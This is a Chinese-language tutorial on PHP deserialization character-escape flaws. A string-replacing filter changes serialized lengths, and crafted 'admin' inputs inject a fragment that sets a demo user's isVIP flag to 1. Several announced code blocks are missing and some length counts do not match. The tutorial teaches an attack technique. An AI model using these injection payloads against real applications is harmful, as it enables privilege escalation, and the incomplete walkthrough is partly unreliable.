首頁  >  文章  >  後端開發  >  深入了解PHP中反序列化字元逃脫的原理

深入了解PHP中反序列化字元逃脫的原理

青灯夜游
青灯夜游轉載
2021-08-24 19:18:023413瀏覽

深入了解PHP中反序列化字元逃脫的原理

PHP反序列化字元逃脫的原理

#當開發者使用先將物件序列化,然後將物件中的字元進行過濾,最後再進行反序列化。這個時候就有可能會產生PHP反序列化字元逃脫的漏洞。

詳解PHP反序列化字元逃逸

對於PHP反序列字元逃逸,我們分為以下兩種情況進行討論。

  • 過濾後字元變多

  • 過濾後字元變少

過濾後字元變多

假設我們先定義一個user類,然後裡面一共有3個成員變數:usernamepassword

isVIP

class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
可以看到當這個類別被初始化的時候,isVIP

變數預設是

0

,並且不受初始化傳入的參數影響。

接下來把完整程式碼貼出來,方便我們分析。

這段程式的輸出結果如下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到,物件序列化之後的isVIP

變數是

0

這個時候我們增加一個函數,用於對admin字元進行替換,將admin替換為hacker,替換函數如下:

function filter($s){
return str_replace("admin","hacker",$s);
}

因此整段程式如下:

這段程式的輸出為:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
這時候我們把這兩個程式的輸出拿出來比較一下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已过滤
可以看到已過濾

字串中的

hacker與前面的字元長度不對應了

s:5:"admin";
s:5:"hacker";

在這個時候,對於我們,在新建物件的時候,傳入的

admin就是我們的可控變數接下來明確我們的目標:將isVIP

變數的值修改為

1首先我們將我們的現有子字串

目標子字串進行比較:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
也就是說,我們要在admin

這個可控變數的位置,注入我們的

目標子字串

首先計算我們需要注入的

目標子字串的長度

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//以上字符串的长度为47
因為我們需要逃逸的字串長度為47,並且admin每次過濾之後都會變成hacker,也就是說每出現一次admin

,就會多

1個字元。 因此我們在可控變數處,重複47

admin

,然後加上我們逃逸後的目標子字串,可控變數修改如下:

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

完整程式碼如下:

程式輸出結果為:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
我們可以數一下hacker的數量,總共是47hacker,共282

個字符,剛好與前面

282

相對應。

後面的注入子字串也剛好完成了逃逸。

反序列化後,多餘的子字串會被拋棄

#我們接著將這個序列化結果反序列化,然後將其輸出,完整程式碼如下:

程式輸出如下:
object(user)#2 (3) {
  ["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}
可以看到這個時候,isVIP

這個變數就變成了

1,反序列化字元逃逸的目的也就達成了。

過濾後字元變少

上面描述了PHP反序列化字元逃逸中字元變多的情況。

以下開始解釋反序列化字元逃逸變少的情況。

首先,和上面的主體程式碼還是一樣,還是同一個class,與之有區別的是過濾函數中,我們將hacker修改為hack。

完整程式碼如下:

得到結果:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
同樣比較一下現有子字串

目標子字串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
因為過濾的時候,將5個字元刪除為了4個,所以和上面字元變多的情況相反,隨著加入的admin

的數量增多,

現有子字串後面會縮進來。

計算

目標子字串的長度:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
//长度为47

再計算一下到

下一個可控變數的字串長度:

";s:8:"password";s:6:"
//长度为22
因為每次過濾的時候都會少1個字符,因此我們先將admin

字符重複

22遍(這裡的22遍不像字元變多的逃逸情況精確,後面可能會需要做調整)

完整程式碼如下:(這裡的變數裡一共有

22個admin

輸出結果:

###注意:###PHP反序列化的機制是,例如如果前面是規定了有10個字符,但是只讀到了9個就到了雙引號,這個時候PHP會把雙引號當作第10個字符,也就是說不根據雙引號判斷一個字串是否已經結束,而是根據前面規定的數量來讀取字串。 ###
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:

深入了解PHP中反序列化字元逃脫的原理

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

完整代码为:

输出:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

深入了解PHP中反序列化字元逃脫的原理

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加2admin,这样就可以补上缺少的字符。

修改后代码如下:

输出结果为:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

分析一下输出结果:

深入了解PHP中反序列化字元逃脫的原理

可以看到,这一下就对了。

我们将对象反序列化然后输出,代码如下:

得到结果:

object(user)#2 (3) {
  ["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}

可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了

推荐学习:《PHP视频教程

以上是深入了解PHP中反序列化字元逃脫的原理的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:合天网安实验室。如有侵權,請聯絡admin@php.cn刪除